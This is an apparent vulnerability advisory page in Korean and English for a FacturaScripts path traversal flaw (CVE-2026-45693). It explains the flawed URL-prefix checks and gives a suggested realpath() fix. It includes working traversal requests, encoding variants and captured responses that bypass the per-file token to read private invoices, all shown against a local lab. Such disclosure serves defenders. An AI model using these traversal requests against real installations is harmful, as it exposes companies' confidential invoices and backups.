Kestrel
대시보드로 돌아가기
CVE-2026-45693HIGH· 7.5GHSA대응게시일: 2026. 07. 14.수정일: 2026. 07. 14.

FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a ../ segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under MyFiles/Private/ and other non-public subfolders.

The two vulnerable controllers are Core/Controller/Files.php (used by the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/* and /node_modules/* routes) and Core/Controller/Myfiles.php (used by /MyFiles/*). Both share the same root cause: a strpos() / substr() prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.

The /Plugins/* route via Files.php is the cleanest exploit path because Plugins/ is part of every FacturaScripts installation, so no precondition is required. The /MyFiles/* route via Myfiles.php is a second path with the same root cause: when the URL starts with /MyFiles/Public/, the controller exits early and skips the per-file myft token check, which can be combined with ../ to read tokenless files outside Public/.

Tested live on commit de01369 (master, 2026-05-11) and on tag v2026.2, with PHP 8.0.30 on Apache 2.4.56.

Details

Path 1, in Core/Controller/Files.php

Files::__construct concatenates the project folder with the request URL and then runs two safety checks before serving the file:

bash
1$this->filePath = Tools::folder() . $url;
2
3if (false === is_file($this->filePath)) {
4 throw new KernelException('FileNotFound', ...);
5}
6
7if (false === $this->isFolderSafe($url)) {
8 throw new KernelException('UnsafeFolder', $url);
9}
10
11if (false === $this->isFileSafe($this->filePath)) {
12 throw new KernelException('UnsafeFile', $url);
13}

isFolderSafe() only inspects the URL string:

bash
1public static function isFolderSafe(string $filePath): bool
2{
3 $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
4 foreach ($safeFolders as $folder) {
5 if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
6 return true;
7 }
8 }
9 return false;
10}

For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.

Path 2, in Core/Controller/Myfiles.php

The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:

bash
1$this->filePath = Tools::folder() . urldecode($url);
2
3if (false === is_file($this->filePath)) {
4 throw new KernelException('FileNotFound', ...);
5}
6if (false === $this->isFileSafe($this->filePath)) {
7 throw new KernelException('UnsafeFile', $url);
8}
9
10// if the folder is MyFiles/Public, then we don't need to check the token
11if (strpos($url, '/MyFiles/Public/') === 0) {
12 return;
13}
14
15$fixedFilePath = substr(urldecode($url), 1);
16$token = filter_input(INPUT_GET, 'myft');
17if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {
18 throw new KernelException('MyfilesTokenError', $fixedFilePath);
19}

A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.

This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).

Why this is not the documented "Public folder" behaviour

MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.

PoC

The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:

text
1%PDF-FAKE-CONTENT for FacturaScripts PoC
2INVOICE: 2026-001
3CLIENT: ACME Corporation
4TAX ID: B-12345678
5AMOUNT: EUR 42,000.00
6DUE DATE: 2026-06-15
7PAID: 2026-05-09
8INTERNAL NOTE: confidential customer financial data

Step 1, control. Direct access without a token is blocked:

http
1GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
2Host: 127.0.0.1:8088
text
1HTTP/1.1 403 Forbidden
2<title>Invalid token.</title>
3<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p>
<img width="1584" height="788" alt="01-control-direct-private-file-blocked" src="https://github.com/user-attachments/assets/37d55f79-55ab-4f69-a9e0-827fc39c0b33" />

Step 2, exploit via /Plugins/*. This is the no-precondition path:

http
1GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
2Host: 127.0.0.1:8088
text
1HTTP/1.1 200 OK
2Content-Length: 215
3Content-Type: application/pdf
4
5%PDF-FAKE-CONTENT for FacturaScripts PoC
6INVOICE: 2026-001
7CLIENT: ACME Corporation
8TAX ID: B-12345678
9AMOUNT: EUR 42,000.00
10DUE DATE: 2026-06-15
11PAID: 2026-05-09
12INTERNAL NOTE: confidential customer financial data
<img width="1585" height="791" alt="02-exploit-path1-plugins-leak" src="https://github.com/user-attachments/assets/bccab788-a369-49bf-84dd-8f2f74addecf" />

The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.

Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:

http
1GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
2Host: 127.0.0.1:8088
text
1HTTP/1.1 200 OK
2Cache-Control: public, max-age=31536000, immutable
3Content-Length: 215
4Content-Type: application/pdf
5
6%PDF-FAKE-CONTENT for FacturaScripts PoC
7...
<img width="1582" height="789" alt="03-exploit-path2-myfiles-public-token-bypass" src="https://github.com/user-attachments/assets/2f95d0c1-4545-453c-a613-5ed035af7957" />

A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.

The file is confirmed present on disk:

<img width="1918" height="328" alt="04-lab-evidence-file-on-disk" src="https://github.com/user-attachments/assets/2db5875a-d349-4861-bbdd-8f202eb80d5a" />
Affected request paths
URL patternControllerToken requiredResult
/MyFiles/Private/invoice.pdfMyfilesyes403 (control)
/Plugins/../MyFiles/Private/invoice.pdfFilesn/a200 (leak)
/Core/Assets/../MyFiles/Private/invoice.pdfFilesn/a200 (leak)
/Dinamic/Assets/../MyFiles/Private/invoice.pdfFilesn/a200 (leak)
/MyFiles/Public/../Private/invoice.pdfMyfilesbypassed200 (leak)

Impact

In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:

  • Customer and supplier invoices stored under MyFiles/Private/
  • Document attachments uploaded through WidgetFile and DocFilesTrait (MyFiles/<filename>)
  • Database backups exported with .sql
  • Cached or temporary business data under MyFiles/Cache/ and MyFiles/Tmp/

.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.

Suggested Fix

Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token
check. Example for Files::__construct:

bash
1$this->filePath = Tools::folder() . $url;
2
3if (false === is_file($this->filePath)) {
4 throw new KernelException('FileNotFound', ...);
5}
6
7$realPath = realpath($this->filePath);
8$base = realpath(Tools::folder());
9if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {
10 throw new KernelException('UnsafeFolder', $url);
11}
12
13$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public'];
14$relative = substr($realPath, strlen($base) + 1);
15$allowed = false;
16foreach ($safeFolders as $folder) {
17 if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {
18 $allowed = true;
19 break;
20 }
21}
22if (!$allowed) {
23 throw new KernelException('UnsafeFolder', $url);
24}

The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.

Affected Versions

Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.